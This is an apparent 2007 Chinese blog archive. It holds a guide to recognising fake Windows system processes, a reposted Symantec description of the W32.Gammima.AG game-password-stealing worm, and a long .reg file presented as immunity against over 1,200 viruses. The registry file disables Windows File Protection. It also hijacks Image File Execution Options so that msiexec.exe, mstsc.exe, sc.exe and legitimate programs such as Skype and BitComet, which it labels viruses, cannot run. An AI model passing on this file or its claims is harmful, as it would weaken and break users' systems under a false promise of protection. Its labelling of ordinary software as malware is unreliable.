　　常被病毒冒充的進程名有：svch0st.exe、schvost.exe、scvhost.exe。随着Windows系統服務不斷增多，爲了節省系統資源，微軟把很多服務做成共享方式，交由svchost.exe進程來啓動。而系統服務是以動态鏈接庫(DLL)形式實現的，它們把可執行程序指向scvhost，由cvhost調用相應服務的動态鏈接庫來啓動服務。我們可以打開“控制面闆”→“管理工具”→服務，雙擊其中“ClipBook”服務，在其屬性面闆中可以發現對應的可執行文件路徑爲“C:\WINDOWS\system32\clipsrv.exe”。再雙擊“Alerter”服務，可以發現其可執行文件路徑爲“C:\WINDOWS\system32\svchost.exe -k LocalService”，而“Server”服務的可執行文件路徑爲“C:\WINDOWS\system32\svchost.exe -k netsvcs”。正是通過這種調用，可以省下不少系統資源，因此系統中出現多個svchost.exe，其實隻是系統的服務而已。
　　在Windows2000系統中一般存在2個svchost.exe進程，一個是RPCSS(RemoteProcedureCall)服務進程，另外一個則是由很多服務共享的一個svchost.exe；而在WindowsXP中，則一般有4個以上的svchost.exe服務進程。如果svchost.exe進程的數量多于5個，就要小心了，很可能是病毒假冒的，檢測方法也很簡單，使用一些進程管理工具，例如Windows優化大師的進程管理功能，查看svchost.exe的可執行文件路徑，如果在“C:\WINDOWS\system32”目錄外，那麽就可以判定是病毒了。

explorer.exe
　　常被病毒冒充的進程名有：iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我們經常會用到的“資源管理器”。如果在“任務管理器”中将explorer.exe進程結束，那麽包括任務欄、桌面、以及打開的文件都會統統消失，單擊“任務管理器”→“文件”→“新建任務”，輸入“explorer.exe”後，消失的東西又重新回來了。explorer.exe進程的作用就是讓我們管理計算機中的資源。
　　explorer.exe進程默認是和系統一起啓動的，其對應可執行文件的路徑爲“C:\Windows”目錄，除此之外則爲病毒。

iexplore.exe
　　常被病毒冒充的進程名有：iexplorer.exe、iexploer.exeiexplorer.exe進程和上文中的explorer.exe進程名很相像，因此比較容易搞混，其實iexplorer.exe是Microsoft Internet Explorer所産生的進程，也就是我們平時使用的IE浏覽器。知道作用後辨認起來應該就比較容易了，iexplorer.exe進程名的開頭爲“ie”，就是IE浏覽器的意思。
　　iexplore.exe進程對應的可執行程序位于C:\ProgramFiles\InternetExplorer目錄中，存在于其他目錄則爲病毒，除非你将該文件夾進行了轉移。此外，有時我們會發現沒有打開IE浏覽器的情況下，系統中仍然存在iexplore.exe進程，這要分兩種情況：1.病毒假冒iexplore.exe進程名。2.病毒偷偷在後台通過iexplore.exe幹壞事。因此出現這種情況還是趕快用殺毒軟件進行查殺吧。

rundll32.exe
　　常被病毒冒充的進程名有：rundl132.exe、rundl32.exe。rundll32.exe在系統中的作用是執行DLL文件中的内部函數，系統中存在多少個Rundll32.exe進程，就表示Rundll32.exe啓動了多少個的DLL文件。其實rundll32.exe我們是會經常用到的，他可以控制系統中的一些dll文件，舉個例子，在“命令提示符”中輸入“rundll32.exe user32.dll,LockWorkStation”，回車後，系統就會快速切換到登錄界面了。rundll32.exe的路徑爲“C:\Windows\system32”，在别的目錄則可以判定是病毒。

spoolsv.exe
　　常被病毒冒充的進程名有：spoo1sv.exe、spolsv.exe。spoolsv.exe是系統服務“Print Spooler”所對應的可執行程序，其作用是管理所有本地和網絡打印隊列及控制所有打印工作。如果此服務被停用，計算機上的打印将不可用，同時spoolsv.exe進程也會從計算機上消失。如果你不存在打印機設備，那麽就把這項服務關閉吧，可以節省系統資源。停止并關閉服務後，如果系統中還存在spoolsv.exe進程，這就一定是病毒僞裝的了。
　　限于篇幅，關于常見進程的介紹就到這裏，我們平時在檢查進程的時候如果發現有可疑，隻要根據兩點來判斷：
　　1.仔細檢查進程的文件名；
　　2.檢查其路徑。
　　通過這兩點，一般的病毒進程肯定會露出馬腳。

Others - Got Battlefield 2 Cars?

2007-08-27T22:54:00.000-07:00

Got Battlefield 2 Cars? Part A

Got Battlefield 2 Cars? Part B

New Threat - W32.Gammima.AG

2007-08-27T22:53:00.000-07:00

Discovered: August 27, 2007

Updated: August 27, 2007 11:08:32 AM

Type: Worm

Infection Length: 75,520 bytes

Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

When the worm executes, it creates the following files:

%System%\kavo.exe
%System%\kavo0.dll

The file kavo0.dll is then injected into all running processes.

It also creates the following file, which is a copy of Hacktool.Rootkit:
%Temp%\[RANDOM FILE NAME].dll

The worm then copies itself to all drives from C through Z as the following file:
[DRIVE LETTER]:\ntdelect.com

It also creates the following file so that it executes whenever the drive is accessed:
[DRIVE LETTER]:\autorun.inf

Next, the worm creates the following registry entry so that it executes whenever Windows starts:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"kava" = "%System%\kavo.exe"

It then modifies the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\"CheckedValue" = "0"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"Hidden" = "2"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"ShowSuperHidden" = "0"
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Pocilies\Explorer\"NoDriveTypeAutoRun" = "0x91"

The worm checks if it has been injected into any of the following processes:

zhengtu.dat
elementclient.exe
dekaron.exe
hyo.exe
wsm.exe and ybclient.exe
fairlyclient.exe
so3d.exe
maplestory.exe
r2client.exe
InphaseNXD.EXE

It then attempts to steal sensitive information for the following online games:

ZhengTu
Wanmi Shijie or Perfect World
Dekaron Siwan Mojie
HuangYi Online
Rexue Jianghu
ROHAN
Seal Online
Maple Story
R2 (Reign of Revolution)
Talesweaver

The worm ends the Matrix Password process if it finds a dialog box with the following characteristics:
Title: MatrixPasswordDlg
Message: Warning! (In Chinese characters)

The harvested information is then sent to the remote attacker via HTTP.

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

Writeup By: Masaki Suenaga

禁止1200多種已知病毒的進程,做母盤必備

2007-08-26T20:11:00.000-07:00

以下是我在長期制作系統中所做的經驗總結,對現在有許多病毒連殺毒軟件都束手無策,看到大家都在爲病毒煩惱,所以我放出這個注冊表,禁止病毒的進程運行.包括現在最火的logo_.exe

LSASS.EXE等許多病毒.大家如果發現新病毒進程,可以自己修改這個注冊表對這個病毒進行免疫.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Control Panel\Desktop]
"AutoEndTasks"="1"
"HungAppTimeout"="200"
"WaitToKillAppTimeout"="200"
"WaitTOKillService"="200"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="200"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]
"EnablePrefetcher"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"SFCDisable"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL]
@="0"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareServer"=dword:00000000
"AutoSharewks"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows]
"NoPopUpsOnBoot"=dword:00000001
[HKEY_CLASSES_ROOT\lnkfile]
@="快捷方式"
"EditFlags"=dword:00000001
"NeverShowExt"=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace\{2227A280-3AEA-1069-A2DE-08002B30309D}]
@="Printers"
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer]
"Link"=hex:00,00,00,00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]
"EnablePrefetcher"=dword:00000003
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"FontSmoothing"="2"
"FontSmoothingType"=dword:00000002
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPer1_0Server"=dword:00000008
"MaxConnectionsPerServer"=dword:00000008
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control]
"WaitToKillServiceTimeout"="1000"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Shareaza.exe]
"Debugger"="c:\\中國超級BT.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\4047.exe]
"Debugger"="c:\\中國超級BT捆綁的病毒.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TuoTu.exe]
"Debugger"="c:\\P2P類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qqfo1.0_dl.exe]
"Debugger"="c:\\P2P類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SuperLANadmin.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPcap30.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPcap.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Robocop.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diaoxian.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\冰點還原終結者.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3389.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3389.rar]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mstsc.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3389dl.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3389dl.rar]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\黑社會.exe]
"Debugger"="c:\\破壞類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Poco2004.exe]
"Debugger"="c:\\下載類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Vagaa.exe]
"Debugger"="c:\\下載類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Kamun.exe]
"Debugger"="c:\\下載類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\黑社會.exe]
"Debugger"="c:\\下載類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\還原精靈密碼察看器.exe]
"Debugger"="bcvb"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\yuyuyu.exe]
"Debugger"="c:\\下載類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KuGoo.exe]
"Debugger"="c:\\下載類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmcc.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bczp.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3721.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PodcastBarMiniStarter.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdnns.dll]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdnns.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setupcnnic.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SurfingPlus.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ok.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\123.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IESearch.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSC32.dll]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZComService.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skin.dll]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zPlatform.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zcomUpdate.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hbhelper.dll]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Weather_24.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Weather.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\inkv3.dll]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDE.EXE]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boba_super_setup-1.1.0.15.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PodcastBarMini.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PodcastBarMiniStarter.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sogou_yahoo.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SkypeClient.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup_aHR0cDovL3d3dy5xeXVsZS5jb20v.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Qyule.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lianmeng_sitesowang.EXE]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iShare.Ver0.40.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ishare_user.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\assist4.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbseesetup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Crack.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bind_8286.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RedVIP.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIP.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iShare.Ver0.40.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ishare_user.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\assist4.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbseesetup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\p2psvr.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQSSV20.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQSSV1.8.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SixthSense.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netrobocop_setup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetRobocop.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-8CIEP.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPca.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPca_3.1.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\P2P網絡管理員.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ARPOver.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnnetcut.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\INSEC.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netcut.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msiexec.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrvIst.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSIF1.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetMon.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LanecatTrial.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LEC_Client.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BTBaby.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebThunder1.0.4.28deluxbeta.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebThunder.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.1.6.198.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ThunderMini2.0.0.29.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-TEQG7.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TingTing1.1.0.8Beta.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-C6R99.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-00KC0.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BitComet_0.68_setup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BitComet.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BitComet0.62.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\100baoSetup120.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GLBD.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DDD4_DXT168.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ppstreamsetup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PPStream.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TV100.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-S5LOA.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-S5L0A.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\teng.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TENG.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\is-RP216.tmp]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rongtv.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hjsetup.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HJSETUP.EXE]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msiexec.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rep.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dudupros.exe]
"Debugger"="c:\\病毒類.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DuDuAcc.exe]
"Debugger"="c:\\病毒類.exe"

